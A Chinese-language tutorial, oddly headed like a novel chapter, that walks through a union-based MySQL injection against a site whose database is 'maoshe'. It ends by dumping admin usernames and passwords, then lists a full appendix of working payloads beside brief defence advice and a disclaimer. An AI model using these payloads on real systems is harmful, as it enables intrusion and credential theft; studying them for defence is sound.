第一章:为了女神小芳!
字数 1248 2025-08-11 21:26:21
SQL注入攻击实战教学文档
1. 目标站点信息获取
- 初始步骤:首先需要明确目标网站,本文示例中未直接给出具体URL
- 关键点:确定存在SQL注入漏洞的网站是渗透测试的第一步
2. 注入点探测技术
2.1 基本注入测试
and 1=1 # 页面显示正常
and 1=2 # 页面显示异常
- 原理:通过布尔逻辑测试网站是否对输入参数进行SQL解析
- 判断依据:正常/异常页面反应的差异表明存在SQL注入漏洞
2.2 确定字段数量
?id=1 order by 3 # 页面显示异常
?id=1 order by 2 # 页面显示正常
- 方法:使用ORDER BY子句逐步增加数字测试
- 结果:当order by 3报错而order by 2正常,说明查询结果包含2个字段
3. 信息收集技术
3.1 确定回显位置
?id=4 union select 1,2#
- 目的:找出页面中显示数据库查询结果的位置
- 技巧:使用union select将数字1和2替换为实际查询内容
3.2 基础数据库信息收集
?id=4 union select 1,database()# → maoshe
?id=4 union select 1,user()# → maoshe@localhost
?id=4 union select 1,version()# → 5.5.53
- 关键函数:
database(): 获取当前数据库名user(): 获取数据库用户version(): 获取数据库版本
4. 数据库结构探查
4.1 查询数据库表
?id=4 union select 1,group_concat(table_name) from information_schema.tables where table_schema='maoshe'#
- 关键表:
information_schema.tables存储所有表信息 - 过滤条件:
table_schema='maoshe'限定只查询目标数据库的表 - 重要发现:识别出包含关键信息的
admin表
4.2 查询表结构
?id=4 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'#
- 关键表:
information_schema.columns存储所有列信息 - 结果:获取admin表的所有列名
5. 数据提取技术
5.1 提取敏感数据
?id=4 union select 1,group_concat(id,username,password) from admin#
- 方法:直接从目标表查询数据
group_concat(): 将多行结果合并为单行输出- 结果:获取管理员账号密码等敏感信息
6. 完整攻击流程总结
- 注入点确认:通过布尔测试确认漏洞存在
- 字段数确定:使用ORDER BY方法
- 回显点定位:UNION SELECT定位数据显示位置
- 信息收集:
- 数据库基本信息(database(), user(), version())
- 确认information_schema可用
- 结构探查:
- 查询数据库所有表
- 识别关键表(如admin)
- 查询表结构
- 数据提取:从关键表中获取敏感数据
7. 技术要点总结
- MySQL特性利用:information_schema数据库是MySQL的重要元数据库
- 版本影响:5.5.53版本存在已知安全特性限制
- 关键函数:
group_concat(): 数据聚合- 信息函数(database(), user(), version())
- 防御绕过:使用#注释符截断后续SQL语句
8. 防御建议
- 使用参数化查询(Prepared Statements)
- 实施最小权限原则
- 过滤特殊字符(#, --, /*等)
- 关闭错误回显
- 定期更新数据库版本
9. 法律与道德声明
- 本技术文档仅用于教育目的
- 未经授权的渗透测试是违法行为
- 实际应用中必须获得书面授权
- 遵循负责任披露原则
附录:完整Payload示例
-
基础测试:
?id=1' and '1'='1 ?id=1' and '1'='2 -
信息收集:
?id=1' union select null,concat_ws(0x3a,user(),database(),version())-- - -
表结构探查:
?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- - -
数据提取:
?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'-- - ?id=1' union select 1,group_concat(username,0x3a,password) from admin-- -